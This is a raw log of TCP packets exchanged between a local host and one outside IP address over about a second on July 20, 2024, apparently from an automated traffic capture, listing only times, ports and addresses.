Jul 20, 2024 11:54:23.632127047 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.632184982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.637492895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.637546062 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.642517090 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.642565012 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.651139975 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.651195049 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.656584024 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.656656981 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.661889076 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.661943913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.666979074 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.667037010 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.672178984 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.672229052 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.677448034 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.677503109 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.682537079 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.682589054 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.687808037 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.687860966 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.693048000 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.693099022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.698429108 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.699690104 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.705871105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.707133055 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.716061115 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.719162941 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.724231958 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.727402925 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.738390923 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.738610983 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.744990110 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.745125055 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.750149012 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.750241995 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.755296946 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.755428076 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.760689020 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.760762930 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.766290903 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.766532898 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.773122072 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.773281097 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.778351068 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.778433084 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.783417940 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.783601999 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.788522005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.788835049 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.793842077 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.793920040 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.798950911 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.799613953 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.804615021 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.804686069 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.810405970 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.810545921 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.815712929 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.815853119 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.820763111 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.820894003 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.826028109 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.826106071 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.831130028 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.831536055 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.837660074 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.837795973 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.842715979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.842808008 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.847840071 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.847965956 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.852910995 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.854429960 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.859508991 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.859639883 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.868913889 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.869066000 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.874182940 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.874313116 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.893945932 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.894102097 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.906088114 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.906200886 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.911233902 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.911417961 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.916450977 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.916631937 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.921545029 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.922007084 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.926846027 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.927208900 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.932368040 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.937064886 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.942028046 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.942121983 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.946990013 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.947072983 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.951978922 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.952130079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.957024097 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.957103014 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.962049961 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.962244987 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.967245102 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.967484951 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.972409010 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.972601891 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.977570057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.977647066 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.982707977 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.982795954 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.987680912 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.988989115 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.993994951 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.994071007 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:23.999492884 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:23.999581099 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.004956007 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.005774021 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.010849953 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.010946989 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.020598888 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.020777941 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.027177095 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.027270079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.036694050 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.037098885 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.044892073 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.044977903 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.050610065 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.055860996 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.061197996 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.061283112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.066416025 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.066530943 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.071718931 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.071903944 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.076982021 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.077171087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.082065105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.082146883 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.087095022 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.087501049 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.092560053 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.093007088 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.098050117 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.098331928 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.103354931 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.103533983 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.108608007 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.108786106 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.113827944 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.113913059 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.118993044 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.119182110 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.124102116 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.124186993 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.129129887 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.129399061 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.134347916 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.134432077 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.139354944 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.139647007 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.144613028 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.144686937 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.149980068 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.150477886 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.155505896 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.159086943 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.164067984 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.167066097 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.176259995 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.179142952 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.184452057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.184573889 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.189554930 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.189635992 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.195555925 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.195703983 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.203403950 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.203742027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.208710909 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.211210966 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.216763973 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.219719887 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.224951029 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.227233887 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.232997894 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.233546019 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.238765955 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.239129066 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.244066954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.247560978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.252573967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.255004883 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.259970903 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.263149977 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.268037081 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.271960020 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.276871920 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.279072046 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.283936977 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.287358999 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.292340040 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.295809984 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.300946951 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.301064968 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.306129932 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.307038069 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.312598944 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.315315008 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.324408054 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.327059984 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.332535982 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.335215092 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.340636015 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.343853951 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.353588104 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.355524063 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.361053944 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.363009930 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.368031025 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.371402979 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.376250982 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.376492977 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.381397963 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.383217096 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.388438940 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.391103029 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.395984888 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.399220943 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.404124975 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.407233000 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.412209988 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.412318945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.417174101 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.419440985 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.424346924 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.427387953 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.432435989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.435434103 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.440442085 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.443397045 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.451631069 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.455137968 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.460012913 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.463128090 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.468045950 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.471075058 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.479175091 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.483386040 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.489531040 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.491244078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.496402979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.499360085 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.504349947 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.504631042 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.509691000 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.509839058 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.515084982 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.515199900 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.520224094 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.523137093 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.528800011 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.529022932 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.554485083 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.579720020 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.607008934 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.634958029 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.656940937 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.683938980 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.716355085 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.755256891 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.798446894 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.803733110 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.803792000 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.806245089 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.806314945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.806468010 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.806927919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.807626963 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.807739019 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.807961941 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.807975054 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.808398962 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.808437109 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.808630943 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.808643103 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.809098959 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.809112072 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.809124947 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.809135914 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.809148073 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.809194088 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.809324026 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.810197115 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.810209036 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.810220003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.810230970 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.811464071 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.811515093 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.814012051 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.814063072 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.814263105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.814745903 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.814798117 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.815077066 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.816632032 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.816672087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.818931103 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.818979025 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.819834948 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.819875002 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.821641922 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.821691990 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.823832989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.823879957 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.824664116 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.824704885 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.826554060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.826680899 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:24.828758955 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:24.828815937 CEST	49715	15628	192.168.2.5	154.204.0.4
